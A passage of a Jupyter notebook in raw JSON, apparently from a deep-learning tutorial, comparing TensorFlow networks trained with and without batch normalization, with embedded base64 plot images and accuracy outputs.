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\nXz4grrz2TVKItjt9CpYUjOm7s846iyVLlgCQTCbZu3cvq1at6pi/ZMkSZs+ezahRo3jssceAA5PC\n4dRTUgD44Q9/SHV1NdXV1Tz44INs2rSp1/X1lhQOxu7du3n66YxDuvUqHo8ftnIcDN+cfdTe5iQF\naz4yg8ntT65i9fbGjteJRIJg8NBuNztlVAnf+uDUjPNmz57Nl770JQBWrVrFtGnT2LFjB/X19RQU\nFLBmzRpmzpzJ5s2b+cAHPsBrr73GbbfdRmtrKy+++CJf//rXAVi9ejWVlZVs2bKFm2++mZtuugmA\nu+++m/vvvx+A6667jptvvrljXStXrgTgrrvuIhKJMG3aNJYvX851111HYWEhS5cuJT8/P2O5Ux2v\nhYWFAHznO9/hySefpLW1ldmzZ/PLX/6SP//5zyxfvpyPfexj5Ofns3TpUlauXMkXv/hFmpubyc3N\n5R//+AcA27dvZ+7cubz99ttceuml/OAHP8i43a9+9at897vf5cILLzygPJ/73OdYvnw5oVCIu+++\nmzlz5vDAAw/w+OOPE4lESCQS3H777XzrW9+irKyMFStWcMUVVzB9+nTuuecempubWbhwIRMnTszu\nH5sl39QUGgNlPJ84mdyisv4uijED1qhRowiFQmzZsoUlS5Zw5plncvrpp7N06VKWL1/O9OnTO53M\nkZOTw3e+8x2uvPJKqqurufLKKwFYu3YtzzzzDK+88gq33347sViMV199ld/+9re8/PLLvPTSS/zq\nV7/i9ddf77Ysl19+ORUVFfz617+muro6Y0L46le/yowZMxgzZgxXXXUVI0aMAOCGG25g2bJlrFy5\nktbWVp566qmO9S1YsIDq6mqCwSBXXnkl99xzD2+88QbPPvtsxzaqq6t55JFHWLFiBY888ghbt249\nYNsAZ555Jjk5OSxevLjT9HvvvRcRYcWKFfzxj3/kmmuu6Uhcr732Go899hjPP/88AG+88Qbz589n\nzZo1/O53v2P9+vW88sorXH311fzsZz/L9l+XNd/UFHImnsVPVnyDe449vr+LYsxh0/WI/kicsz97\n9myWLFnCkiVL+PKXv8y2bdtYsmQJpaWlnHXWWVmt4/3vfz+5ubnk5uYyYsQIdu3axYsvvsill17a\ncTR/2WWX8cILL/ChD32oz2X94Q9/yOWXX04kEuHcc8/taN5avHgxP/jBD2hpaaGuro6pU6fywQ9+\n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\n", "text/plain": [ "<matplotlib.figure.Figure at 0x124a32128>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "train_and_test(False, 0.01, tf.nn.relu)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "As expected, both networks train well and eventually reach similar test accuracies. However, notice that the model with batch normalization converges slightly faster than the other network, reaching accuracies over 90% almost immediately and nearing its max acuracy in 10 or 15 thousand iterations. The other network takes about 3 thousand iterations to reach 90% and doesn't near its best accuracy until 30 thousand or more iterations.\n", "\n", "If you look at the raw speed, you can see that without batch normalization we were computing over 1100 batches per second, whereas with batch normalization that goes down to just over 500. However, batch normalization allows us to perform fewer iterations and converge in less time over all. (We only trained for 50 thousand batches here so we could plot the comparison.)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**The following creates two networks with the same hyperparameters used in the previous example, but only trains for 2000 iterations.**" ] }, { "cell_type": "code", "execution_count": 5, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 2000/2000 [00:04<00:00, 461.21it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "Without Batch Norm: After training, final accuracy on validation set = 0.8271999955177307\n" ] }, { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 2000/2000 [00:11<00:00, 169.07it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "With Batch Norm: After training, final accuracy on validation set = 0.9552000164985657\n", "---------------------------------------------------------------------------\n", "Without Batch Norm: Accuracy on full test set = 0.8260999917984009\n", "---------------------------------------------------------------------------\n", "With Batch Norm: Accuracy on full test set = 0.9519000053405762\n" ] }, { "data": { "image/png": "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\ncOFCfN3W3/wWW94R2PgF7FoMqSvh4GbAfUEQ